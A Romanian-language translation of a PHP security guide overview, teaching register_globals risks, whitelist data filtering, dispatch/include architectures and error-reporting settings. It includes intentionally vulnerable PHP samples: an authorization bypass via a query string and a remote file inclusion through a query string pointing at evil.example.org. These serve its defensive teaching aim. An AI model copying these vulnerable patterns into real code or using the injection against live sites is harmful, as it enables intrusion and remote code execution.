Ghidul Securitatii PHP: Privire generala


< InapoiInainte >Procesarea formurilorCuprins

Ce inseamna securitate?

  • Securitatea este o masura, nu o caracteristica.

    Din pacate multe proiecte de software considera "securitatea" ca o simpla cerinta ce trebuie indeplinita. Este o aplicatie sigura? Aceasta intrebare este la fel de subiectiva ca a intreba daca cineva arata misto.

  • Securitatea influenteaza costurile.

    Este simplu si relativ ieftin sa obtii un nivel suficient de securitate pentru majoritatea aplicatiilor. Totusi, daca cerintele sunt foarte ridicate, daca trebuie protejate date care sunt foarte importante, atunci trebuie asigurat un nivel de securitate mai ridicat, la un cost mai mare. Aceste cheltuieli trebuie incluse in bugetul proiectului.

  • Securitatea influenteaza uzabilitatea.

    Masurile luate pentru a imbunatati securitatea deseori influenteaza negativ uzabilitatea. Parole, session timeouts si access control creaza obstacole pentru persoanele care folosesc software-ul in mod legitim. Uneori acestea sunt necesare pentru a asigura un nivel de securitate adecvat, dar nu exista o solutie unica, valabila pentru toate aplicatiile. Este bine sa tii cont de utilizatorii legitimi cand implementezi masuri de securitate.

  • Securitatea trebuie sa faca parte din design.

    Daca nu dezvolti o aplicatie cu un design care sa tina cont de securitate, va trebui sa rezolvi constant noi vulnerabilitati. Programarea atenta nu compenseaza un design prost.

Lucruri de baza

  • Ia in considerare posibilitatile de folosire ilegitima a aplicatiei.

    Un design sigur este doar o parte din solutie. In timpul dezvoltarii, cand codul este scris, este important sa te gandesti la posibilitatile de folosire ilegitima a aplicatiei. Deseori accentul se pune pe a face aplicatia sa functioneze bine in conditii normale. Evident, acest lucru este necesar, dar nu ajuta la nimic in ceea ce priveste securitatea.

  • Educa-te.

    Faptul ca esti aici este o dovada ca iti pasa de securitate, iar acesta este cel mai important pas (chiar daca suna a cliseu). Exista numeroase resurse disponibile pe web si in carti, cateva dinte acestea fiind mentionate la Biblioteca PHP Security Consortium la http://phpsec.org/library/.

  • Cel putin, FILTREAZA TOT CONTINUTUL EXTERN.

    Filtrarea datelor este piatra de baza a securitatii aplicatiilor pentru web in orice limbaj si pe orice platforma. Daca ai initializat variabilele si ai filtrat toate datele care vin din surse extene ai inlaturat majoritatea vulnerabilitatilor cu un foarte mic efort. O lista alba este preferabila unei liste negre. Aceasta inseamna ca trebuie sa consideri toate datele invalide pana cand au fost dovedite valide (in loc sa le consideri valide pana cand au fost dovedite invalide).

Register Globals

Directiva register_globals este disabled ca default in PHP versiunea 4.2.0 si versiunile ulterioare. Desi aceasta directiva nu reprezinta o vulnerabilitate, este totusi un factor de risc. Prin urmare, trebuie sa dezvolti si sa folosesti aplicatiile cu register_globals disabled.

De ce este aceasta un factor de risc? Exemple bune sunt dificil de dat pentru toata lumea, pentru ca este nevoie de o situatie unica pentru a evidentia riscul. Totusi, cel mai bun exemplu este cel dat in Manualul PHP:

<?php

if (authenticated_user()) 
{ 
    $authorized = true; 
} 

if ($authorized) 
{ 
    include '/highly/sensitive/data.php'; 
} 

?>

Cu register_globals enabled, aceasta pagina poate fi accesata cu ?authorized=1 in query string pentru a pacali scriptul. Desigur, aceasta vulnerabilitate este vina developerului si nu a register_globals, dar exemplifica riscul reprezentat de directiva. Fara ea, variabilele obisnuite (ca $authorized in exemplu) nu sunt afectate de data trimisa de utilizator. Cel mai bine este sa initializezi toate variabilele si sa dezvolti cu error_reporting setat cu E_ALL, astfel incat o variabila neinitializata nu va trece neobservata in timpul dezvoltarii.

Un alt exemplu care ilustreaza cum register_globals poate crea probleme este folosirea unui include cu o cale dinamica:

<?php

include "$path/script.php";

?>

Cu register_globals enabled, aceasta pagina poate fi accesata cu ?path=http%3A%2F%2Fevil.example.org%2F%3F in query string pentru a crea efectul urmator:

<?php

include 'http://evil.example.org/?/script.php';

?>

Daca allow_url_fopen este enabled (si este enabled ca default, chiar si in php.ini-recommended), aceasta va include output-ul http://evil.example.org/ ca si cum ar fi un fisier local. Aceasta este o vulnerabilitate majora, si a fost descoperita in unele aplicatii open source populare.

Initializarea $path poate rezolva aceasta problema, cum o rezolva si setarea register_globals ca disabled. Pe cand o greseala a developerului poate lasa o variabila neinitializata, register_globals disabled este o schimbare globala care este putin probabil sa fie omisa.

Comoditatea este minunata, si cei dintre noi care in trecut trebuiau sa manipuleze manual form data recunosc acest lucru. Totusi, $_POST si $_GET nu sunt greu de folosit si nu se merita sa risti cu register_globals enabled. Desi nu sunt deloc de acord cu cei care asociaza register_globals cu securitate slaba, recomand sa fie setat ca disabled.

In plus, register_globals disabled incurajeaza developerii sa fie mai atenti la originea datelor, aceasta fiind o importanta caracteristica a oricarui developer care dezvolta aplicatii sigure.

Filtrarea datelor

Cum am spus mai sus, filtrarea datelor este piatra de baza a securitatii aplicatiilor web, indiferent de limbajul de programare si de platforma. Este vorba de mecanismul prin care se determina validitatea datelor care intra si care ies din aplicatie. Un design bun ajuta developerul sa:

  • Asigure ca mecanismul de filtrare nu poate fi ocolit,

  • Asigure ca date invalide nu pot trece drept date valide

  • Identifice originea datelor.

Exista mai multe metode pentru prevenirea posibilitatii ca mecanismul de filtrare sa fie ocolit. Totusi, doua metode sunt cel mai des folosite, amandoua asigurand un nivel suficient de securitate.

Metoda "Dispatch"

O metoda in care exista un singur script PHP disponibil direct de pe web (via URI). Restul este un modul inclus cu include sau require, dupa nevoie. Aceasta metoda presupune ca o variabila GET sa fie trimisa cu fiecare URI, identificand ce trebuie sa faca aplicatia. Aceasta variabila GET poate fi considerata ca inlocuind numele scriptului care ar fi folosit intr-un design mai simplistic. De exemplu:

http://example.org/dispatch.php?task=print_form

Fisierul dispatch.php este singurul fisier din document root. Aceasta ii permite developerului sa faca doua lucruri importante:

  • Poate sa implementeze masuri de securitate globale la inceputul fisierului dispatch.php, avand siguranta ca aceste masuri nu pot fi ocolite.

  • Poate vedea usor daca filtarea datelor are loc cand este necesar, uitandu-se la codul unui task.

Pentru mai multe detalii, sa consideram urmatorul script dispatch.php:

<?php

/* Masuri de securitate globale */

switch ($_GET['task'])
{
    case 'print_form':
        include '/inc/presentation/form.inc';
        break;

    case 'process_form':
        $form_valid = false;
        include '/inc/logic/process.inc';
        if ($form_valid)
        {
            include '/inc/presentation/end.inc';
        }
        else
        {
            include '/inc/presentation/form.inc';
        }
        break;

    default:
        include '/inc/presentation/index.inc';
        break;
}

?>

Daca acesta este singurul script PHP public, este clar ca (datorita designului acestei aplicatii) orice masuri de securitate globale implementate la inceput nu pot fi ocolite. De asemenea, developerul poate vedea usor control flow-ul pentru fiecare task. Spre exemplu, in loc sa caute in mult cod, este usor de vazut ca end.inc ajunge la utilizator doar cand $form_valid este true, si pentru ca este initializat ca false inainte sa fie inclus process.inc, este clar ca codul din process.inc trebuie sa schimbe aceasta variabila in true, altfel formul este afisat din nou (probabil cu mesaje care semnaleaza erorile care au avut loc).

Nota

Daca folosesti un fisier index pentru director, ca index.php (in loc de dispatch.php), atunci poti folosi URI-uri ca http://example.org/?task=print_form.

De asemenea, poti folosi directiva ForceType sau mod_rewrite pentru a permite folosirea URI-urilor de genul http://example.org/app/print-form.

Metoda "Include"

Alta abordare este crearea unui singur modul responsabil de toate masurile de securitate. Acest modul este inclus la inceputul (sau aproape de inceput) tuturor scripturilor PHP care sunt publice (disponibile via URI). Sa consideram urmatorul script security.inc:

<?php

switch ($_POST['form'])
{
    case 'login':
        $allowed = array();
        $allowed[] = 'form';
        $allowed[] = 'username';
        $allowed[] = 'password';

        $sent = array_keys($_POST);

        if ($allowed == $sent)
        {
            include '/inc/logic/process.inc';
        }

        break;
}

?>

In acest exemplu, fiecare form care este trimis are o variabila numita form care il identifica in mod unic, iar security.inc are un caz separat care se ocupa de validarea datelelor din fiecare form. Un exemplu de form HTML care corespunde cerintelor scriptului este:

<form action="/receive.php" method="POST">
<input type="hidden" name="form" value="login" />
<p>Username:
<input type="text" name="username" /></p>
<p>Password:
<input type="password" name="password" /></p>
<input type="submit" />
</form>

Un array numit $allowed este folosit pentru a defini ce variabile sunt permise in form, si aceasta lista tebuie sa coincida cu variabilele din form pentru ca acesta sa fie procesat. Control flow-ul este determinat in alta parte, iar process.inc se ocupa de filtrarea datelor.

Nota

O metoda buna pentru a asigura ca security.inc este inclus la inceputul fiecarui script PHP este folosirea directivei auto_prepend_file.

Exemple de filtrare

Este important sa folosesti o "lista alba" cand e vorba de filtrare. Desi a da exemple pentru fiecare tip de form data este imposibil, cateva exemple pot ilustra o abordare potrivita.

Codul urmator valideaza un email:

<?php

$clean = array();

$email_pattern = '/^[^@\s<&>]+@([-a-z0-9]+\.)+[a-z]{2,}$/i';

if (preg_match($email_pattern, $_POST['email'])) 
{ 
    $clean['email'] = $_POST['email']; 
}

?>

Codul urmator verifica daca $_POST['color'] este rosu, verde, sau albastru:

<?php

$clean = array();

switch ($_POST['color'])
{
    case 'rosu':
    case 'verde':
    case 'albastru':
        $clean['color'] = $_POST['color'];
        break;
}

?>

Codul urmator verifica daca $_POST['num'] este un numar intreg:

<?php

$clean = array();

if ($_POST['num'] == strval(intval($_POST['num'])))
{
    $clean['num'] = $_POST['num'];
}

?>

Urmatorul exemplu verifica daca $_POST['num'] este un numar real:

<?php

$clean = array();

if ($_POST['num'] == strval(floatval($_POST['num'])))
{
    $clean['num'] = $_POST['num'];
}

?>

Conventii cu privire la numirea variabilelor

Fiecare din exemplele de mai sus foloseste un array numit $clean. Aceasta ilustreaza un obicei bun care ajuta developerul sa identifice daca datele sunt periculoase. Nu trebuie sa te obisnuiesti sa validezi datele si apoi sa le lasi in $_POST sau $_GET, pentru ca este important ca un developer sa fie intotdeauna suspicios cand e vorba de array-uri superglobale.

In plus, folosind $clean intotdeauna, poti sa consideri ca tot ce nu e in $clean poate prezenta un pericol. Aceasta este inca o data o abordare stil "lista alba", care ofera un nivel ridicat de securitate.

Daca tii datele in $clean doar daca au fost validate, singurul risc de a nu valida ceva exista in cazul in care accesezi un array element care nu exista.

Timing

Odata ce un script PHP incepe procesarea, intregul HTTP request a fost primit. Aceasta inseamna ca utilizatorul nu mai poate trimite date si deci alte date nu mai pot fi injectate in script (chiar cu register_globals enabled). De aceea initializarea variabilelor functioneaza si este recomandata.

Error Reporting

In versiuni PHP mai vechi de PHP 5, lansat pe 13 Iulie 2004, error reporting este destul de simplistic. In afara de un cod scris cu atentie, raportarea erorilor depinde in principal de cateva directive de configuratie PHP:

  • error_reporting

    Aceasta directiva seteaza nivelul de error reporting dorit. Este recomandat ca aceasta directiva sa fie setata cu E_ALL atat pentru dezvoltare, cat si pentru productie.

  • display_errors

    Aceasta directiva determina daca erorile apar pe ecran (incluse in output). Pentru dezvoltare trebuie folosit intotdeauna display_errors On, ca sa vezi o alerta cand au loc erori. Pentru productie insa, trebuie setat Off pentru ca potentialele erori sa nu fie vazute de utilizatori (si atacatori).

  • log_errors

    Aceasta directiva determina daca erorile sunt scrise in log. S-a spus ca aceasta poate afecta performanta aplicatiei, dar in mod normal erorile au loc destul de rar. Daca logarea erorilor umple mult spatiu pe hard, atunci probabil ai probleme mai mari decat performanta. Aceasta directiva trebuie setata On in productie.

  • error_log

    Aceasta directiva indica locatia fisierului log, in care erorile sunt scrise. Asigura-te ca serverul are permisiunea sa scrie in fisierul in cauza.

Cu error_reporting setat E_ALL vei vedea daca nu ai initializat toate variabilele, deoarece o variabila nedefinita genereaza un notice.

Nota

Toate aceste directive pot fi setate cu ini_set(), in cazul in care nu ai acces la php.ini sau la alta metoda de a seta directivele.

Manualul PHP contine informatii cu privire la toate functiile pentru error handling si reporting:

http://www.php.net/manual/en/ref.errorfunc.php

PHP 5 include exception handling. Pentru mai multe informatii, vezi:

http://www.php.net/manual/language.exceptions.php


< InapoiInainte >Procesarea formurilorCuprins